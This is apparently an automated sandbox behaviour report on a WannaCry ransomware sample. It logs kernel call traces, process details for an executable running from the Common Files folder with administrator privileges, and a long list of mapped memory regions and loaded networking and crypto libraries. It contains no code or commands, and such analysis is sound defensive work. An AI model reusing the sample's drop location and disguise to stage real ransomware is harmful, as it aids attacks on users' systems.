IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0148.990] IoGetCurrentProcess () returned 0xffffe000011e9700 [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0148.990] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.020] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.020] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.020] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.051] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.051] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.051] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.083] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.083] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000011ff330) [0149.083] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.115] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.115] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.115] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.152] IoGetCurrentProcess () returned 0xffffe000011e9700 [0149.152] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe0000130ecd0) [0149.152] ExReleaseFastMutexUnsafeAndLeaveCriticalRegion (FastMutex=0xffffe000001652b0) [0149.221] MmUnmapViewOfSection (Process=0xffffe000011e9700, BaseAddress=0xa8e0ab0000) returned 0x0 [0149.230] MmUnmapViewOfSection (Process=0xffffe000011e9700, BaseAddress=0xa8dd580000) returned 0x0 Process: id = "83" image_name = "wanacr~1.exe" filename = "c:\\progra~1\\common~1\\wanacr~1.exe" page_root = "0x624d6000" os_pid = "0xaf4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "82" os_parent_pid = "0xad0" cmd_line = "C:\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" cur_dir = "C:\\Windows\\system32\\" os_username = "FIVAUF\\5JgHKoaOfdp" os_groups = "FIVAUF\\Domain Users" [0x7], "Everyone" [0x7], "NT AUTHORITY\\Local account and member of Administrators group" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Local account" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000c2aa" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 10157 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 10158 start_va = 0xe3520f0000 end_va = 0xe35210ffff entry_point = 0x0 region_type = private name = "private_0x000000e3520f0000" filename = "" Region: id = 10159 start_va = 0xe352110000 end_va = 0xe35211efff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352110000" filename = "" Region: id = 10160 start_va = 0xe352120000 end_va = 0xe35251ffff entry_point = 0x0 region_type = private name = "private_0x000000e352120000" filename = "" Region: id = 10161 start_va = 0xe352520000 end_va = 0xe352523fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352520000" filename = "" Region: id = 10162 start_va = 0x7ff6ce610000 end_va = 0x7ff6ce632fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce610000" filename = "" Region: id = 10163 start_va = 0x7ff6ce63d000 end_va = 0x7ff6ce63efff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce63d000" filename = "" Region: id = 10164 start_va = 0x7ff6ce63f000 end_va = 0x7ff6ce63ffff entry_point = 0x0 region_type = private name = "private_0x00007ff6ce63f000" filename = "" Region: id = 10165 start_va = 0x7ff6cf310000 end_va = 0x7ff6cf418fff entry_point = 0x7ff6cf33fa1c region_type = mapped_file name = "wanacr~1.exe" filename = "\\PROGRA~1\\COMMON~1\\WANACR~1.EXE" (normalized: "c:\\progra~1\\common~1\\wanacr~1.exe") Region: id = 10166 start_va = 0x7ffd1f920000 end_va = 0x7ffd1fac8fff entry_point = 0x7ffd1f920000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 10167 start_va = 0xe352530000 end_va = 0xe352531fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352530000" filename = "" Region: id = 10168 start_va = 0xe352540000 end_va = 0xe352541fff entry_point = 0x0 region_type = private name = "private_0x000000e352540000" filename = "" Region: id = 10169 start_va = 0xe352550000 end_va = 0xe35296ffff entry_point = 0x0 region_type = private name = "private_0x000000e352550000" filename = "" Region: id = 10170 start_va = 0x7ffd1f160000 end_va = 0x7ffd1f298fff entry_point = 0x7ffd1f165034 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\System32\\kernel32.dll" (normalized: "c:\\windows\\system32\\kernel32.dll") Region: id = 10171 start_va = 0x7ffd1d0a0000 end_va = 0x7ffd1d1adfff entry_point = 0x7ffd1d0a22a0 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\System32\\KernelBase.dll" (normalized: "c:\\windows\\system32\\kernelbase.dll") Region: id = 10172 start_va = 0xe3520f0000 end_va = 0xe3520fffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e3520f0000" filename = "" Region: id = 10173 start_va = 0x7ff6ce510000 end_va = 0x7ff6ce60ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x00007ff6ce510000" filename = "" Region: id = 10174 start_va = 0xe352970000 end_va = 0xe3529edfff entry_point = 0xe352970000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 10175 start_va = 0x7ffd15300000 end_va = 0x7ffd15308fff entry_point = 0x7ffd15301080 region_type = mapped_file name = "wsock32.dll" filename = "\\Windows\\System32\\wsock32.dll" (normalized: "c:\\windows\\system32\\wsock32.dll") Region: id = 10176 start_va = 0x7ffd152f0000 end_va = 0x7ffd152f9fff entry_point = 0x7ffd152f10c0 region_type = mapped_file name = "version.dll" filename = "\\Windows\\System32\\version.dll" (normalized: "c:\\windows\\system32\\version.dll") Region: id = 10177 start_va = 0x7ffd152d0000 end_va = 0x7ffd152eefff entry_point = 0x7ffd152d23f8 region_type = mapped_file name = "winmm.dll" filename = "\\Windows\\System32\\winmm.dll" (normalized: "c:\\windows\\system32\\winmm.dll") Region: id = 10178 start_va = 0x7ffd1af40000 end_va = 0x7ffd1b199fff entry_point = 0x7ffd1af44740 region_type = mapped_file name = "comctl32.dll" filename = "\\Windows\\WinSxS\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll" (normalized: "c:\\windows\\winsxs\\amd64_microsoft.windows.common-controls_6595b64144ccf1df_6.0.9600.16384_none_62475f7becb72503\\comctl32.dll") Region: id = 10179 start_va = 0x7ffd17a20000 end_va = 0x7ffd17a3afff entry_point = 0x7ffd17a21050 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\System32\\mpr.dll" (normalized: "c:\\windows\\system32\\mpr.dll") Region: id = 10180 start_va = 0xe352100000 end_va = 0xe352106fff entry_point = 0x0 region_type = private name = "private_0x000000e352100000" filename = "" Region: id = 10181 start_va = 0x7ffd17f30000 end_va = 0x7ffd1816ffff entry_point = 0x7ffd17f313f0 region_type = mapped_file name = "wininet.dll" filename = "\\Windows\\System32\\wininet.dll" (normalized: "c:\\windows\\system32\\wininet.dll") Region: id = 10182 start_va = 0x7ffd1dd30000 end_va = 0x7ffd1dd36fff entry_point = 0x7ffd1dd31010 region_type = mapped_file name = "psapi.dll" filename = "\\Windows\\System32\\psapi.dll" (normalized: "c:\\windows\\system32\\psapi.dll") Region: id = 10183 start_va = 0x7ffd18a60000 end_va = 0x7ffd18a88fff entry_point = 0x7ffd18a67968 region_type = mapped_file name = "iphlpapi.dll" filename = "\\Windows\\System32\\IPHLPAPI.DLL" (normalized: "c:\\windows\\system32\\iphlpapi.dll") Region: id = 10184 start_va = 0x7ffd1c330000 end_va = 0x7ffd1c34efff entry_point = 0x7ffd1c3312f0 region_type = mapped_file name = "userenv.dll" filename = "\\Windows\\System32\\userenv.dll" (normalized: "c:\\windows\\system32\\userenv.dll") Region: id = 10185 start_va = 0x7ffd1b9f0000 end_va = 0x7ffd1bb11fff entry_point = 0x7ffd1b9fb444 region_type = mapped_file name = "uxtheme.dll" filename = "\\Windows\\System32\\uxtheme.dll" (normalized: "c:\\windows\\system32\\uxtheme.dll") Region: id = 10186 start_va = 0x7ffd1d350000 end_va = 0x7ffd1d4c0fff entry_point = 0x7ffd1d375ac0 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\System32\\user32.dll" (normalized: "c:\\windows\\system32\\user32.dll") Region: id = 10187 start_va = 0x7ffd1f5f0000 end_va = 0x7ffd1f734fff entry_point = 0x7ffd1f601c58 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\System32\\gdi32.dll" (normalized: "c:\\windows\\system32\\gdi32.dll") Region: id = 10188 start_va = 0x7ffd1f550000 end_va = 0x7ffd1f5e9fff entry_point = 0x7ffd1f5511a4 region_type = mapped_file name = "comdlg32.dll" filename = "\\Windows\\System32\\comdlg32.dll" (normalized: "c:\\windows\\system32\\comdlg32.dll") Region: id = 10189 start_va = 0x7ffd1f2a0000 end_va = 0x7ffd1f344fff entry_point = 0x7ffd1f2a1010 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\System32\\advapi32.dll" (normalized: "c:\\windows\\system32\\advapi32.dll") Region: id = 10190 start_va = 0x7ffd1dd50000 end_va = 0x7ffd1f15efff entry_point = 0x7ffd1dd51100 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\System32\\shell32.dll" (normalized: "c:\\windows\\system32\\shell32.dll") Region: id = 10191 start_va = 0x7ffd1d640000 end_va = 0x7ffd1d7b5fff entry_point = 0x7ffd1d6410b4 region_type = mapped_file name = "ole32.dll" filename = "\\Windows\\System32\\ole32.dll" (normalized: "c:\\windows\\system32\\ole32.dll") Region: id = 10192 start_va = 0x7ffd1da80000 end_va = 0x7ffd1db36fff entry_point = 0x7ffd1da81120 region_type = mapped_file name = "oleaut32.dll" filename = "\\Windows\\System32\\oleaut32.dll" (normalized: "c:\\windows\\system32\\oleaut32.dll") Region: id = 10193 start_va = 0x7ffd1f350000 end_va = 0x7ffd1f3a7fff entry_point = 0x7ffd1f35109c region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\System32\\ws2_32.dll" (normalized: "c:\\windows\\system32\\ws2_32.dll") Region: id = 10194 start_va = 0x7ffd1d830000 end_va = 0x7ffd1d8d6fff entry_point = 0x7ffd1d83282c region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\System32\\msvcrt.dll" (normalized: "c:\\windows\\system32\\msvcrt.dll") Region: id = 10195 start_va = 0x7ffd1a3f0000 end_va = 0x7ffd1a419fff entry_point = 0x7ffd1a3fa768 region_type = mapped_file name = "winmmbase.dll" filename = "\\Windows\\System32\\winmmbase.dll" (normalized: "c:\\windows\\system32\\winmmbase.dll") Region: id = 10196 start_va = 0x7ffd1f410000 end_va = 0x7ffd1f545fff entry_point = 0x7ffd1f411150 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\System32\\rpcrt4.dll" (normalized: "c:\\windows\\system32\\rpcrt4.dll") Region: id = 10197 start_va = 0x7ffd17c80000 end_va = 0x7ffd17f27fff entry_point = 0x7ffd17c8ddc4 region_type = mapped_file name = "iertutil.dll" filename = "\\Windows\\System32\\iertutil.dll" (normalized: "c:\\windows\\system32\\iertutil.dll") Region: id = 10198 start_va = 0x7ffd1dd40000 end_va = 0x7ffd1dd48fff entry_point = 0x7ffd1dd41400 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\System32\\nsi.dll" (normalized: "c:\\windows\\system32\\nsi.dll") Region: id = 10199 start_va = 0x7ffd18a50000 end_va = 0x7ffd18a59fff entry_point = 0x7ffd18a510c4 region_type = mapped_file name = "winnsi.dll" filename = "\\Windows\\System32\\winnsi.dll" (normalized: "c:\\windows\\system32\\winnsi.dll") Region: id = 10200 start_va = 0x7ffd1cca0000 end_va = 0x7ffd1ccb3fff entry_point = 0x7ffd1cca3acc region_type = mapped_file name = "profapi.dll" filename = "\\Windows\\System32\\profapi.dll" (normalized: "c:\\windows\\system32\\profapi.dll") Region: id = 10201 start_va = 0x7ffd1f740000 end_va = 0x7ffd1f916fff entry_point = 0x7ffd1f741f60 region_type = mapped_file name = "combase.dll" filename = "\\Windows\\System32\\combase.dll" (normalized: "c:\\windows\\system32\\combase.dll") Region: id = 10202 start_va = 0x7ffd1d4d0000 end_va = 0x7ffd1d520fff entry_point = 0x7ffd1d4d12c0 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\System32\\shlwapi.dll" (normalized: "c:\\windows\\system32\\shlwapi.dll") Region: id = 10203 start_va = 0x7ffd1d7d0000 end_va = 0x7ffd1d826fff entry_point = 0x7ffd1d7d2500 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\System32\\sechost.dll" (normalized: "c:\\windows\\system32\\sechost.dll") Region: id = 10204 start_va = 0x7ffd1d050000 end_va = 0x7ffd1d099fff entry_point = 0x7ffd1d051258 region_type = mapped_file name = "cfgmgr32.dll" filename = "\\Windows\\System32\\cfgmgr32.dll" (normalized: "c:\\windows\\system32\\cfgmgr32.dll") Region: id = 10205 start_va = 0x7ffd1bb20000 end_va = 0x7ffd1bb45fff entry_point = 0x7ffd1bb2159c region_type = mapped_file name = "devobj.dll" filename = "\\Windows\\System32\\devobj.dll" (normalized: "c:\\windows\\system32\\devobj.dll") Region: id = 10206 start_va = 0x7ffd1b380000 end_va = 0x7ffd1b420fff entry_point = 0x7ffd1b3810a0 region_type = mapped_file name = "shcore.dll" filename = "\\Windows\\System32\\SHCore.dll" (normalized: "c:\\windows\\system32\\shcore.dll") Region: id = 10207 start_va = 0xe3529f0000 end_va = 0xe352a8ffff entry_point = 0x0 region_type = private name = "private_0x000000e3529f0000" filename = "" Region: id = 10208 start_va = 0xe352550000 end_va = 0xe352556fff entry_point = 0x0 region_type = private name = "private_0x000000e352550000" filename = "" Region: id = 10209 start_va = 0xe352570000 end_va = 0xe35296ffff entry_point = 0x0 region_type = private name = "private_0x000000e352570000" filename = "" Region: id = 10210 start_va = 0xe3529f0000 end_va = 0xe352a23fff entry_point = 0xe3529f1030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10211 start_va = 0xe352a80000 end_va = 0xe352a8ffff entry_point = 0x0 region_type = private name = "private_0x000000e352a80000" filename = "" Region: id = 10212 start_va = 0xe352a90000 end_va = 0xe352c17fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a90000" filename = "" Region: id = 10213 start_va = 0x7ffd1d550000 end_va = 0x7ffd1d583fff entry_point = 0x7ffd1d551030 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\System32\\imm32.dll" (normalized: "c:\\windows\\system32\\imm32.dll") Region: id = 10214 start_va = 0x7ffd1d1b0000 end_va = 0x7ffd1d2e7fff entry_point = 0x7ffd1d1b1010 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\System32\\msctf.dll" (normalized: "c:\\windows\\system32\\msctf.dll") Region: id = 10215 start_va = 0xe352c20000 end_va = 0xe352da0fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352c20000" filename = "" Region: id = 10216 start_va = 0xe352db0000 end_va = 0xe3541affff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352db0000" filename = "" Region: id = 10217 start_va = 0xe352560000 end_va = 0xe352560fff entry_point = 0x0 region_type = private name = "private_0x000000e352560000" filename = "" Region: id = 10218 start_va = 0xe3529f0000 end_va = 0xe3529f0fff entry_point = 0x0 region_type = private name = "private_0x000000e3529f0000" filename = "" Region: id = 10219 start_va = 0xe352a00000 end_va = 0xe352a00fff entry_point = 0xe352a00000 region_type = mapped_file name = "windowsshell.manifest" filename = "\\Windows\\WindowsShell.Manifest" (normalized: "c:\\windows\\windowsshell.manifest") Region: id = 10220 start_va = 0xe352a10000 end_va = 0xe352a11fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a10000" filename = "" Region: id = 10221 start_va = 0xe3541b0000 end_va = 0xe35423ffff entry_point = 0x0 region_type = private name = "private_0x000000e3541b0000" filename = "" Region: id = 10222 start_va = 0xe354240000 end_va = 0xe3542f9fff entry_point = 0xe35426c768 region_type = mapped_file name = "rpcss.dll" filename = "\\Windows\\System32\\rpcss.dll" (normalized: "c:\\windows\\system32\\rpcss.dll") Region: id = 10223 start_va = 0x7ffd1bb70000 end_va = 0x7ffd1bb79fff entry_point = 0x7ffd1bb71748 region_type = mapped_file name = "kernel.appcore.dll" filename = "\\Windows\\System32\\kernel.appcore.dll" (normalized: "c:\\windows\\system32\\kernel.appcore.dll") Region: id = 10224 start_va = 0x7ffd1cb70000 end_va = 0x7ffd1cb79fff entry_point = 0x7ffd1cb71010 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\System32\\cryptbase.dll" (normalized: "c:\\windows\\system32\\cryptbase.dll") Region: id = 10225 start_va = 0x7ffd1cb10000 end_va = 0x7ffd1cb6dfff entry_point = 0x7ffd1cb2f6a0 region_type = mapped_file name = "bcryptprimitives.dll" filename = "\\Windows\\System32\\bcryptprimitives.dll" (normalized: "c:\\windows\\system32\\bcryptprimitives.dll") Region: id = 10226 start_va = 0xe352a00000 end_va = 0xe352a00fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a00000" filename = "" Region: id = 10227 start_va = 0xe354240000 end_va = 0xe35432ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e354240000" filename = "" Region: id = 10228 start_va = 0xe352a00000 end_va = 0xe352a03fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a00000" filename = "" Region: id = 10229 start_va = 0xe352a20000 end_va = 0xe352a26fff entry_point = 0x0 region_type = private name = "private_0x000000e352a20000" filename = "" Region: id = 10230 start_va = 0xe354330000 end_va = 0xe35442ffff entry_point = 0x0 region_type = private name = "private_0x000000e354330000" filename = "" Region: id = 10231 start_va = 0xe354430000 end_va = 0xe354530fff entry_point = 0xe35445fa1c region_type = mapped_file name = "wanacry6.malware.exe" filename = "\\Program Files\\Common Files\\wanacry6.malware.exe" (normalized: "c:\\program files\\common files\\wanacry6.malware.exe") Region: id = 10232 start_va = 0xe352a30000 end_va = 0xe352a30fff entry_point = 0x0 region_type = private name = "private_0x000000e352a30000" filename = "" Region: id = 10233 start_va = 0x7ffd1b1a0000 end_va = 0x7ffd1b1c0fff entry_point = 0x7ffd1b1a1100 region_type = mapped_file name = "dwmapi.dll" filename = "\\Windows\\System32\\dwmapi.dll" (normalized: "c:\\windows\\system32\\dwmapi.dll") Region: id = 10234 start_va = 0xe354430000 end_va = 0xe354704fff entry_point = 0xe354430000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 10235 start_va = 0xe352a40000 end_va = 0xe352a42fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a40000" filename = "" Region: id = 10236 start_va = 0xe352a40000 end_va = 0xe352a40fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a40000" filename = "" Region: id = 10237 start_va = 0xe352a50000 end_va = 0xe352a50fff entry_point = 0x0 region_type = private name = "private_0x000000e352a50000" filename = "" Region: id = 10238 start_va = 0xe354710000 end_va = 0xe354c01fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e354710000" filename = "" Region: id = 10239 start_va = 0xe354c10000 end_va = 0xe355a7ffff entry_point = 0xe354c10000 region_type = mapped_file name = "staticcache.dat" filename = "\\Windows\\Fonts\\StaticCache.dat" (normalized: "c:\\windows\\fonts\\staticcache.dat") Region: id = 10240 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10241 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10242 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10243 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10244 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10245 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10246 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10247 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10248 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10249 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10250 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10251 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10252 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10253 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10254 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10255 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10256 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10257 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10258 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10259 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10260 start_va = 0x7ffd192e0000 end_va = 0x7ffd192f4fff entry_point = 0x7ffd192e1040 region_type = mapped_file name = "netapi32.dll" filename = "\\Windows\\System32\\netapi32.dll" (normalized: "c:\\windows\\system32\\netapi32.dll") Region: id = 10261 start_va = 0x7ffd1bf50000 end_va = 0x7ffd1bf5bfff entry_point = 0x7ffd1bf5145c region_type = mapped_file name = "netutils.dll" filename = "\\Windows\\System32\\netutils.dll" (normalized: "c:\\windows\\system32\\netutils.dll") Region: id = 10262 start_va = 0x7ffd1c060000 end_va = 0x7ffd1c084fff entry_point = 0x7ffd1c061074 region_type = mapped_file name = "srvcli.dll" filename = "\\Windows\\System32\\srvcli.dll" (normalized: "c:\\windows\\system32\\srvcli.dll") Region: id = 10263 start_va = 0x7ffd192a0000 end_va = 0x7ffd192b5fff entry_point = 0x7ffd192a1048 region_type = mapped_file name = "wkscli.dll" filename = "\\Windows\\System32\\wkscli.dll" (normalized: "c:\\windows\\system32\\wkscli.dll") Region: id = 10264 start_va = 0xe352a60000 end_va = 0xe352a60fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a60000" filename = "" Region: id = 10265 start_va = 0xe355a80000 end_va = 0xe355c97fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e355a80000" filename = "" Region: id = 10281 start_va = 0xe352a60000 end_va = 0xe352a62fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a60000" filename = "" Region: id = 10282 start_va = 0xe352a70000 end_va = 0xe352a70fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e352a70000" filename = "" Region: id = 10283 start_va = 0xe3541b0000 end_va = 0xe3541f3fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e3541b0000" filename = "" Region: id = 10284 start_va = 0xe354230000 end_va = 0xe35423ffff entry_point = 0x0 region_type = private name = "private_0x000000e354230000" filename = "" Region: id = 10285 start_va = 0xe355ca0000 end_va = 0xe358b35fff entry_point = 0xe355ca0000 region_type = mapped_file name = "imageres.dll" filename = "\\Windows\\System32\\imageres.dll" (normalized: "c:\\windows\\system32\\imageres.dll") Region: id = 10286 start_va = 0xe358b40000 end_va = 0xe358f39fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000e358b40000" filename = "" Region: id = 10287 start_va = 0x7ffd1c220000 end_va = 0x7ffd1c254fff entry_point = 0x7ffd1c2213d8 region_type = mapped_file name = "rsaenh.dll" filename = "\\Windows\\System32\\rsaenh.dll" (normalized: "c:\\windows\\system32\\rsaenh.dll") Region: id = 10288 start_va = 0x7ffd1c640000 end_va = 0x7ffd1c65dfff entry_point = 0x7ffd1c6411c8 region_type = mapped_file name = "cryptsp.dll" filename = 